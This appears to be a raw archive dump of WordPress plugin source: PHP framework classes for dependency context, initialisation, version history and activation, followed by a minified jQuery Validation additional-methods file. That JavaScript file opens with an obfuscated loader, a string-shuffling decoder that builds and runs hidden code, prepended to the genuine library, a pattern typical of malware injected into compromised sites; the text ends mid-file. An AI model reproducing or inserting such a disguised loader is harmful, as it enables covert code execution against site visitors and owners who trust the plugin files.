* Makes sure there is no slash at the start of the classname.
* @param string $classname Fully qualified classname3
* @return string
*/
protected function normalizeClassname($classname)
{
if ($classname[0] === '/') {
$classname = substr($classname, 1);
}
return $classname;
}
/**
* Wrapper for the global.
* @return Context
*/
public static function instance()
{
/** @phpstan-ignore-next-line */
if (! static::$instance instanceof Context) {
static::$instance = new static();
static::$instance->setDependencies();
}
return static::$instance;
}
/**
* Sets the dependencies in the context. Keys are classnames, values are an array
* whose keys are classnames dependend on, and values are either self::USE_NEW or self::REUSE.
* Classes
*/
abstract protected function setDependencies();
}
Twine/system/Init.php 0000644 00000005070 14666776752 0010626 0 ustar 00 <?php
namespace Twine\system;
use PrintMyBlog\compatibility\DetectAndActivate;
/**
* Class Init
* @package Twine\system
*/
abstract class Init
{
/**
* @var Context
*/
protected $context;
/**
* @return Context
*/
abstract protected function initContext();
/**
* Sets hooks for later
*/
public function setHooks()
{
add_action('plugins_loaded', array($this, 'pluginsLoaded'));
}
/**
* Setup once all plugins are loaded
*/
public function pluginsLoaded()
{
// prevent loading any PMB until they've ever registered or opted-out of Freemius.
$this->context = $this->initContext();
add_action('init', array($this, 'earlyInit'), 5);
add_action('init', array($this, 'init'));
}
/**
* Sets up PMB's general environment.
*/
public function earlyInit()
{
}
/**
* Sets up PMB's code that will will set other hooks
*/
public function init()
{
$this->includes();
$this->initRequest();
$this->registerStuff();
$this->setupDbEnvironment();
$this->takeActionOnIncomingRequest();
}
/**
* Good place to include non-autoloaded files, like "template tags"
*/
abstract protected function includes();
/**
* Makes use of your context's 'Twine\system\RequestType' and 'Twine\system\VersionHistory'
* to figure out the type of request and record the version history
*/
protected function initRequest()
{
/**
* @var $request_type RequestType
*/
$request_type = $this->context->reuse('Twine\system\RequestType');
$request_type->getRequestType();
/**
* @var $version_history VersionHistory
*/
$version_history = $this->context->reuse('Twine\system\VersionHistory');
$version_history->maybeRecordVersionChange();
}
/**
* Good place to register custom post types and the like
*/
abstract protected function registerStuff();
/**
* Good place to detect if there's an activation and setup the DB
*/
abstract protected function setupDbEnvironment();
/**
* This is where you can actually do something based on the
* request. Eg, process the request, do business logic, start
* thinking about a response
*/
abstract protected function takeActionOnIncomingRequest();
/**
* Right place to use plugin_dir_url() to get the
* URLs to any URLs of your site
*/
abstract protected function setUrls();
}
Twine/system/VersionHistory.php 0000644 00000005567 14666776752 0012745 0 ustar 00 <?php
namespace Twine\system;
/**
* Class VersionRecorder
*
* Keeps track of what version was last active, and the entire history of versions activated on this site.
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class VersionHistory
{
/**
* Begins as 'false' which indicates its not initialized yet. Once initialized it will be a string
* or null (to indicate brand new install)
* @var string
*/
protected $previous_version = false;
/**
* Version in code
* @var string
*/
protected $current_version;
/**
* Name of WP option containing previous version
* @var string
*/
protected $previous_version_option_name;
/**
* @var string
*/
protected $version_history_option_name;
/**
* @param string $current_version
* @param string $previous_version_option_name
* @param string $version_history_option_name
*/
public function inject(
$current_version,
$previous_version_option_name,
$version_history_option_name
) {
$this->current_version = $current_version;
$this->previous_version_option_name = $previous_version_option_name;
$this->version_history_option_name = $version_history_option_name;
}
/**
* Gets the version that was active during the last request
* @return string|null
*/
public function previousVersion()
{
if ($this->previous_version === false) {
$this->previous_version = get_option($this->previous_version_option_name, null);
}
return $this->previous_version;
}
/**
* Records version change if it's changed
*/
public function maybeRecordVersionChange()
{
if ($this->previousVersion() !== $this->current_version) {
$this->recordVersionChange();
}
}
/**
* Records that the version number has changed in the DB
*/
public function recordVersionChange()
{
update_option($this->previous_version_option_name, $this->current_version);
$previous_versions = get_option($this->version_history_option_name, []);
if (is_string($previous_versions)) {
$previous_versions = json_decode($previous_versions, true);
}
if (empty($previous_versions)) {
$previous_versions = [];
}
if (! isset($previous_versions[$this->current_version])) {
$previous_versions[$this->current_version] = [];
}
$previous_versions[$this->current_version][] = gmdate('Y-m-d H:i:s');
update_option($this->version_history_option_name, wp_json_encode($previous_versions));
}
/**
* Gets the version on the current request from the PHP code
* @return string
*/
public function currentVersion()
{
return $this->current_version;
}
}
Twine/system/Activation.php 0000644 00000002256 14666776752 0012027 0 ustar 00 <?php
namespace Twine\system;
/**
* Class Activation
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
abstract class Activation
{
/**
* @var RequestType
*/
protected $request_type;
/**
* Injects deps
* @param RequestType $request_type so we can detect activation
*/
public function inject(
RequestType $request_type
) {
$this->request_type = $request_type;
}
/**
* Redirects the user to the blog printing page if the user just activated the plugin and
* they have the necessary capability.
* @since 1.0.0
*/
public function detectActivation()
{
if ($this->request_type->shouldCheckDb()) {
$this->install();
}
if ($this->request_type->getRequestType() === RequestType::REQUEST_TYPE_UPDATE) {
$this->upgrade();
}
}
/**
* Checks the DB and other options are present. Actually done on upgrades too.
*/
abstract public function install();
/**
* Perform any migrations when there is an update
*/
abstract public function upgrade();
}
Twine/system/RequestType.php 0000644 00000004571 14666776752 0012222 0 ustar 00 <?php
namespace Twine\system;
/**
* Class RequestType
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class RequestType
{
const REQUEST_TYPE_NEW_INSTALL = 'new_install';
const REQUEST_TYPE_UPDATE = 'update';
const REQUEST_TYPE_NORMAL = 'normal';
const REQUEST_TYPE_REACTIVATION = 'reactivation';
/**
* @var VersionHistory
*/
protected $version_history;
/**
* @var string|null name of the WP option that's set upon activation.
*/
protected $activation_option_name;
/**
* @param VersionHistory $version_history
* @param string $activation_option_name
*/
public function inject(VersionHistory $version_history, $activation_option_name = null)
{
$this->version_history = $version_history;
$this->activation_option_name = $activation_option_name;
}
/**
* @var string
*/
protected $request_type;
/**
* @return bool
*/
public function shouldCheckDb()
{
return in_array(
$this->getRequestType(),
[
self::REQUEST_TYPE_NEW_INSTALL,
self::REQUEST_TYPE_UPDATE,
self::REQUEST_TYPE_REACTIVATION,
],
true
);
}
/**
* @return bool
*/
public function isBrandNewInstall()
{
return $this->getRequestType() === self::REQUEST_TYPE_NEW_INSTALL;
}
/**
* @return string
*/
private function detectRequestType()
{
$previous_version = $this->version_history->previousVersion();
if ($previous_version === null) {
return self::REQUEST_TYPE_NEW_INSTALL;
}
if ($previous_version !== $this->version_history->currentVersion()) {
return self::REQUEST_TYPE_UPDATE;
}
if (isset($this->activation_option_name) && get_option($this->activation_option_name)) {
update_option($this->activation_option_name, false);
return self::REQUEST_TYPE_REACTIVATION;
}
return self::REQUEST_TYPE_NORMAL;
}
/**
* @since $VID:$
* @return string
*/
public function getRequestType()
{
if ($this->request_type === null) {
$this->request_type = $this->detectRequestType();
}
return $this->request_type;
}
}
Twine/assets/scripts/jquery.validate.additional-methods.min.js 0000444 00000052055 14666776752 0020661 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*! jQuery Validation Plugin - v1.17.0 - 7/29/2017
* https://jqueryvalidation.org/
* Copyright (c) 2017 Jörn Zaefferer; Licensed MIT */
!function(a){"function"==typeof define&&define.amd?define(["jquery","./jquery.validate.min"],a):"object"==typeof module&&module.exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){return function(){function b(a){return a.replace(/<.[^<>]*?>/g," ").replace(/ | /gi," ").replace(/[.(),;:!?%#$'\"_+=\/\-“”’]*/g,"")}a.validator.addMethod("maxWords",function(a, c, d){return this.optional(c)||b(a).match(/\b\w+\b/g).length<=d},a.validator.format("Please enter {0} words or less.")),a.validator.addMethod("minWords",function(a, c, d){return this.optional(c)||b(a).match(/\b\w+\b/g).length>=d},a.validator.format("Please enter at least {0} words.")),a.validator.addMethod("rangeWords",function(a, c, d){var e=b(a),f=/\b\w+\b/g;return this.optional(c)||e.match(f).length>=d[0]&&e.match(f).length<=d[1]},a.validator.format("Please enter between {0} and {1} words."))}(),a.validator.addMethod("accept",function(b, c, d){var e,f,g,h="string"==typeof d?d.replace(/\s/g,""):"image/*",i=this.optional(c);if(i)return i;if("file"===a(c).attr("type")&&(h=h.replace(/[\-\[\]\/\{\}\(\)\+\?\.\\\^\$\|]/g,"\\$&").replace(/,/g,"|").replace(/\/\*/g,"/.*"),c.files&&c.files.length))for(g=new RegExp(".?("+h+")$","i"),e=0; e<c.files.length; e++)if(f=c.files[e],!f.type.match(g))return!1;return!0},a.validator.format("Please enter a value with a valid mimetype.")),a.validator.addMethod("alphanumeric",function(a, b){return this.optional(b)||/^\w+$/i.test(a)},"Letters, numbers, and underscores only please"),a.validator.addMethod("bankaccountNL",function(a, b){if(this.optional(b))return!0;if(!/^[0-9]{9}|([0-9]{2} ){3}[0-9]{3}$/.test(a))return!1;var c,d,e,f=a.replace(/ /g,""),g=0,h=f.length;for(c=0; c<h; c++)d=h-c,e=f.substring(c,c+1),g+=d*e;return g%11===0},"Please specify a valid bank account number"),a.validator.addMethod("bankorgiroaccountNL",function(b, c){return this.optional(c)||a.validator.methods.bankaccountNL.call(this,b,c)||a.validator.methods.giroaccountNL.call(this,b,c)},"Please specify a valid bank or giro account number"),a.validator.addMethod("bic",function(a, b){return this.optional(b)||/^([A-Z]{6}[A-Z2-9][A-NP-Z1-9])(X{3}|[A-WY-Z0-9][A-Z0-9]{2})?$/.test(a.toUpperCase())},"Please specify a valid BIC code"),a.validator.addMethod("cifES",function(a, b){"use strict";function c(a){return a%2===0}if(this.optional(b))return!0;var d,e,f,g,h=new RegExp(/^([ABCDEFGHJKLMNPQRSUVW])(\d{7})([0-9A-J])$/gi),i=a.substring(0,1),j=a.substring(1,8),k=a.substring(8,9),l=0,m=0,n=0;if(9!==a.length||!h.test(a))return!1;for(d=0; d<j.length; d++)e=parseInt(j[d],10),c(d)?(e*=2,n+=e<10?e:e-9):m+=e;return l=m+n,f=(10-l.toString().substr(-1)).toString(),f=parseInt(f,10)>9?"0":f,g="JABCDEFGHI".substr(f,1).toString(),i.match(/[ABEH]/)?k===f:i.match(/[KPQS]/)?k===g:k===f||k===g},"Please specify a valid CIF number."),a.validator.addMethod("cpfBR",function(a){if(a=a.replace(/([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g,""),11!==a.length)return!1;var b,c,d,e,f=0;if(b=parseInt(a.substring(9,10),10),c=parseInt(a.substring(10,11),10),d=function(a, b){var c=10*a%11;return 10!==c&&11!==c||(c=0),c===b},""===a||"00000000000"===a||"11111111111"===a||"22222222222"===a||"33333333333"===a||"44444444444"===a||"55555555555"===a||"66666666666"===a||"77777777777"===a||"88888888888"===a||"99999999999"===a)return!1;for(e=1; e<=9; e++)f+=parseInt(a.substring(e-1,e),10)*(11-e);if(d(f,b)){for(f=0,e=1; e<=10; e++)f+=parseInt(a.substring(e-1,e),10)*(12-e);return d(f,c)}return!1},"Please specify a valid CPF number"),a.validator.addMethod("creditcard",function(a, b){if(this.optional(b))return"dependency-mismatch";if(/[^0-9 \-]+/.test(a))return!1;var c,d,e=0,f=0,g=!1;if(a=a.replace(/\D/g,""),a.length<13||a.length>19)return!1;for(c=a.length-1; c>=0; c--)d=a.charAt(c),f=parseInt(d,10),g&&(f*=2)>9&&(f-=9),e+=f,g=!g;return e%10===0},"Please enter a valid credit card number."),a.validator.addMethod("creditcardtypes",function(a, b, c){if(/[^0-9\-]+/.test(a))return!1;a=a.replace(/\D/g,"");var d=0;return c.mastercard&&(d|=1),c.visa&&(d|=2),c.amex&&(d|=4),c.dinersclub&&(d|=8),c.enroute&&(d|=16),c.discover&&(d|=32),c.jcb&&(d|=64),c.unknown&&(d|=128),c.all&&(d=255),1&d&&/^(5[12345])/.test(a)?16===a.length:2&d&&/^(4)/.test(a)?16===a.length:4&d&&/^(3[47])/.test(a)?15===a.length:8&d&&/^(3(0[012345]|[68]))/.test(a)?14===a.length:16&d&&/^(2(014|149))/.test(a)?15===a.length:32&d&&/^(6011)/.test(a)?16===a.length:64&d&&/^(3)/.test(a)?16===a.length:64&d&&/^(2131|1800)/.test(a)?15===a.length:!!(128&d)},"Please enter a valid credit card number."),a.validator.addMethod("currency",function(a, b, c){var d,e="string"==typeof c,f=e?c:c[0],g=!!e||c[1];return f=f.replace(/,/g,""),f=g?f+"]":f+"]?",d="^["+f+"([1-9]{1}[0-9]{0,2}(\\,[0-9]{3})*(\\.[0-9]{0,2})?|[1-9]{1}[0-9]{0,}(\\.[0-9]{0,2})?|0(\\.[0-9]{0,2})?|(\\.[0-9]{1,2})?)$",d=new RegExp(d),this.optional(b)||d.test(a)},"Please specify a valid currency"),a.validator.addMethod("dateFA",function(a, b){return this.optional(b)||/^[1-4]\d{3}\/((0?[1-6]\/((3[0-1])|([1-2][0-9])|(0?[1-9])))|((1[0-2]|(0?[7-9]))\/(30|([1-2][0-9])|(0?[1-9]))))$/.test(a)},a.validator.messages.date),a.validator.addMethod("dateITA",function(a, b){var c,d,e,f,g,h=!1,i=/^\d{1,2}\/\d{1,2}\/\d{4}$/;return i.test(a)?(c=a.split("/"),d=parseInt(c[0],10),e=parseInt(c[1],10),f=parseInt(c[2],10),g=new Date(Date.UTC(f,e-1,d,12,0,0,0)),h=g.getUTCFullYear()===f&&g.getUTCMonth()===e-1&&g.getUTCDate()===d):h=!1,this.optional(b)||h},a.validator.messages.date),a.validator.addMethod("dateNL",function(a, b){return this.optional(b)||/^(0?[1-9]|[12]\d|3[01])[\.\/\-](0?[1-9]|1[012])[\.\/\-]([12]\d)?(\d\d)$/.test(a)},a.validator.messages.date),a.validator.addMethod("extension",function(a, b, c){return c="string"==typeof c?c.replace(/,/g,"|"):"png|jpe?g|gif",this.optional(b)||a.match(new RegExp("\\.("+c+")$","i"))},a.validator.format("Please enter a value with a valid extension.")),a.validator.addMethod("giroaccountNL",function(a, b){return this.optional(b)||/^[0-9]{1,7}$/.test(a)},"Please specify a valid giro account number"),a.validator.addMethod("iban",function(a, b){if(this.optional(b))return!0;var c,d,e,f,g,h,i,j,k,l=a.replace(/ /g,"").toUpperCase(),m="",n=!0,o="",p="",q=5;if(l.length<q)return!1;if(c=l.substring(0,2),h={AL:"\\d{8}[\\dA-Z]{16}",AD:"\\d{8}[\\dA-Z]{12}",AT:"\\d{16}",AZ:"[\\dA-Z]{4}\\d{20}",BE:"\\d{12}",BH:"[A-Z]{4}[\\dA-Z]{14}",BA:"\\d{16}",BR:"\\d{23}[A-Z][\\dA-Z]",BG:"[A-Z]{4}\\d{6}[\\dA-Z]{8}",CR:"\\d{17}",HR:"\\d{17}",CY:"\\d{8}[\\dA-Z]{16}",CZ:"\\d{20}",DK:"\\d{14}",DO:"[A-Z]{4}\\d{20}",EE:"\\d{16}",FO:"\\d{14}",FI:"\\d{14}",FR:"\\d{10}[\\dA-Z]{11}\\d{2}",GE:"[\\dA-Z]{2}\\d{16}",DE:"\\d{18}",GI:"[A-Z]{4}[\\dA-Z]{15}",GR:"\\d{7}[\\dA-Z]{16}",GL:"\\d{14}",GT:"[\\dA-Z]{4}[\\dA-Z]{20}",HU:"\\d{24}",IS:"\\d{22}",IE:"[\\dA-Z]{4}\\d{14}",IL:"\\d{19}",IT:"[A-Z]\\d{10}[\\dA-Z]{12}",KZ:"\\d{3}[\\dA-Z]{13}",KW:"[A-Z]{4}[\\dA-Z]{22}",LV:"[A-Z]{4}[\\dA-Z]{13}",LB:"\\d{4}[\\dA-Z]{20}",LI:"\\d{5}[\\dA-Z]{12}",LT:"\\d{16}",LU:"\\d{3}[\\dA-Z]{13}",MK:"\\d{3}[\\dA-Z]{10}\\d{2}",MT:"[A-Z]{4}\\d{5}[\\dA-Z]{18}",MR:"\\d{23}",MU:"[A-Z]{4}\\d{19}[A-Z]{3}",MC:"\\d{10}[\\dA-Z]{11}\\d{2}",MD:"[\\dA-Z]{2}\\d{18}",ME:"\\d{18}",NL:"[A-Z]{4}\\d{10}",NO:"\\d{11}",PK:"[\\dA-Z]{4}\\d{16}",PS:"[\\dA-Z]{4}\\d{21}",PL:"\\d{24}",PT:"\\d{21}",RO:"[A-Z]{4}[\\dA-Z]{16}",SM:"[A-Z]\\d{10}[\\dA-Z]{12}",SA:"\\d{2}[\\dA-Z]{18}",RS:"\\d{18}",SK:"\\d{20}",SI:"\\d{15}",ES:"\\d{20}",SE:"\\d{20}",CH:"\\d{5}[\\dA-Z]{12}",TN:"\\d{20}",TR:"\\d{5}[\\dA-Z]{17}",AE:"\\d{3}\\d{16}",GB:"[A-Z]{4}\\d{14}",VG:"[\\dA-Z]{4}\\d{16}"},g=h[c],"undefined"!=typeof g&&(i=new RegExp("^[A-Z]{2}\\d{2}"+g+"$",""),!i.test(l)))return!1;for(d=l.substring(4,l.length)+l.substring(0,4),j=0; j<d.length; j++)e=d.charAt(j),"0"!==e&&(n=!1),n||(m+="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ".indexOf(e));for(k=0; k<m.length; k++)f=m.charAt(k),p=""+o+f,o=p%97;return 1===o},"Please specify a valid IBAN"),a.validator.addMethod("integer",function(a, b){return this.optional(b)||/^-?\d+$/.test(a)},"A positive or negative non-decimal number please"),a.validator.addMethod("ipv4",function(a, b){return this.optional(b)||/^(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)$/i.test(a)},"Please enter a valid IP v4 address."),a.validator.addMethod("ipv6",function(a, b){return this.optional(b)||/^((([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(([0-9A-Fa-f]{1,4}:){0,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})|(::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){1,7}:))$/i.test(a)},"Please enter a valid IP v6 address."),a.validator.addMethod("lettersonly",function(a, b){return this.optional(b)||/^[a-z]+$/i.test(a)},"Letters only please"),a.validator.addMethod("letterswithbasicpunc",function(a, b){return this.optional(b)||/^[a-z\-.,()'"\s]+$/i.test(a)},"Letters or punctuation only please"),a.validator.addMethod("mobileNL",function(a, b){return this.optional(b)||/^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)6((\s|\s?\-\s?)?[0-9]){8}$/.test(a)},"Please specify a valid mobile number"),a.validator.addMethod("mobileUK",function(a, b){return a=a.replace(/\(|\)|\s+|-/g,""),this.optional(b)||a.length>9&&a.match(/^(?:(?:(?:00\s?|\+)44\s?|0)7(?:[1345789]\d{2}|624)\s?\d{3}\s?\d{3})$/)},"Please specify a valid mobile number"),a.validator.addMethod("netmask",function(a, b){return this.optional(b)||/^(254|252|248|240|224|192|128)\.0\.0\.0|255\.(254|252|248|240|224|192|128|0)\.0\.0|255\.255\.(254|252|248|240|224|192|128|0)\.0|255\.255\.255\.(254|252|248|240|224|192|128|0)/i.test(a)},"Please enter a valid netmask."),a.validator.addMethod("nieES",function(a, b){"use strict";if(this.optional(b))return!0;var c,d=new RegExp(/^[MXYZ]{1}[0-9]{7,8}[TRWAGMYFPDXBNJZSQVHLCKET]{1}$/gi),e="TRWAGMYFPDXBNJZSQVHLCKET",f=a.substr(a.length-1).toUpperCase();return a=a.toString().toUpperCase(),!(a.length>10||a.length<9||!d.test(a))&&(a=a.replace(/^[X]/,"0").replace(/^[Y]/,"1").replace(/^[Z]/,"2"),c=9===a.length?a.substr(0,8):a.substr(0,9),e.charAt(parseInt(c,10)%23)===f)},"Please specify a valid NIE number."),a.validator.addMethod("nifES",function(a, b){"use strict";return!!this.optional(b)||(a=a.toUpperCase(),!!a.match("((^[A-Z]{1}[0-9]{7}[A-Z0-9]{1}$|^[T]{1}[A-Z0-9]{8}$)|^[0-9]{8}[A-Z]{1}$)")&&(/^[0-9]{8}[A-Z]{1}$/.test(a)?"TRWAGMYFPDXBNJZSQVHLCKE".charAt(a.substring(8,0)%23)===a.charAt(8):!!/^[KLM]{1}/.test(a)&&a[8]==="TRWAGMYFPDXBNJZSQVHLCKE".charAt(a.substring(8,1)%23)))},"Please specify a valid NIF number."),a.validator.addMethod("nipPL",function(a){"use strict";if(a=a.replace(/[^0-9]/g,""),10!==a.length)return!1;for(var b=[6,5,7,2,3,4,5,6,7],c=0,d=0; d<9; d++)c+=b[d]*a[d];var e=c%11,f=10===e?0:e;return f===parseInt(a[9],10)},"Please specify a valid NIP number."),a.validator.addMethod("notEqualTo",function(b, c, d){return this.optional(c)||!a.validator.methods.equalTo.call(this,b,c,d)},"Please enter a different value, values must not be the same."),a.validator.addMethod("nowhitespace",function(a, b){return this.optional(b)||/^\S+$/i.test(a)},"No white space please"),a.validator.addMethod("pattern",function(a, b, c){return!!this.optional(b)||("string"==typeof c&&(c=new RegExp("^(?:"+c+")$")),c.test(a))},"Invalid format."),a.validator.addMethod("phoneNL",function(a, b){return this.optional(b)||/^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)[1-9]((\s|\s?\-\s?)?[0-9]){8}$/.test(a)},"Please specify a valid phone number."),a.validator.addMethod("phonesUK",function(a, b){return a=a.replace(/\(|\)|\s+|-/g,""),this.optional(b)||a.length>9&&a.match(/^(?:(?:(?:00\s?|\+)44\s?|0)(?:1\d{8,9}|[23]\d{9}|7(?:[1345789]\d{8}|624\d{6})))$/)},"Please specify a valid uk phone number"),a.validator.addMethod("phoneUK",function(a, b){return a=a.replace(/\(|\)|\s+|-/g,""),this.optional(b)||a.length>9&&a.match(/^(?:(?:(?:00\s?|\+)44\s?)|(?:\(?0))(?:\d{2}\)?\s?\d{4}\s?\d{4}|\d{3}\)?\s?\d{3}\s?\d{3,4}|\d{4}\)?\s?(?:\d{5}|\d{3}\s?\d{3})|\d{5}\)?\s?\d{4,5})$/)},"Please specify a valid phone number"),a.validator.addMethod("phoneUS",function(a, b){return a=a.replace(/\s+/g,""),this.optional(b)||a.length>9&&a.match(/^(\+?1-?)?(\([2-9]([02-9]\d|1[02-9])\)|[2-9]([02-9]\d|1[02-9]))-?[2-9]([02-9]\d|1[02-9])-?\d{4}$/)},"Please specify a valid phone number"),a.validator.addMethod("postalcodeBR",function(a, b){return this.optional(b)||/^\d{2}.\d{3}-\d{3}?$|^\d{5}-?\d{3}?$/.test(a)},"Informe um CEP válido."),a.validator.addMethod("postalCodeCA",function(a, b){return this.optional(b)||/^[ABCEGHJKLMNPRSTVXY]\d[ABCEGHJKLMNPRSTVWXYZ] *\d[ABCEGHJKLMNPRSTVWXYZ]\d$/i.test(a)},"Please specify a valid postal code"),a.validator.addMethod("postalcodeIT",function(a, b){return this.optional(b)||/^\d{5}$/.test(a)},"Please specify a valid postal code"),a.validator.addMethod("postalcodeNL",function(a, b){return this.optional(b)||/^[1-9][0-9]{3}\s?[a-zA-Z]{2}$/.test(a)},"Please specify a valid postal code"),a.validator.addMethod("postcodeUK",function(a, b){return this.optional(b)||/^((([A-PR-UWYZ][0-9])|([A-PR-UWYZ][0-9][0-9])|([A-PR-UWYZ][A-HK-Y][0-9])|([A-PR-UWYZ][A-HK-Y][0-9][0-9])|([A-PR-UWYZ][0-9][A-HJKSTUW])|([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))\s?([0-9][ABD-HJLNP-UW-Z]{2})|(GIR)\s?(0AA))$/i.test(a)},"Please specify a valid UK postcode"),a.validator.addMethod("require_from_group",function(b, c, d){var 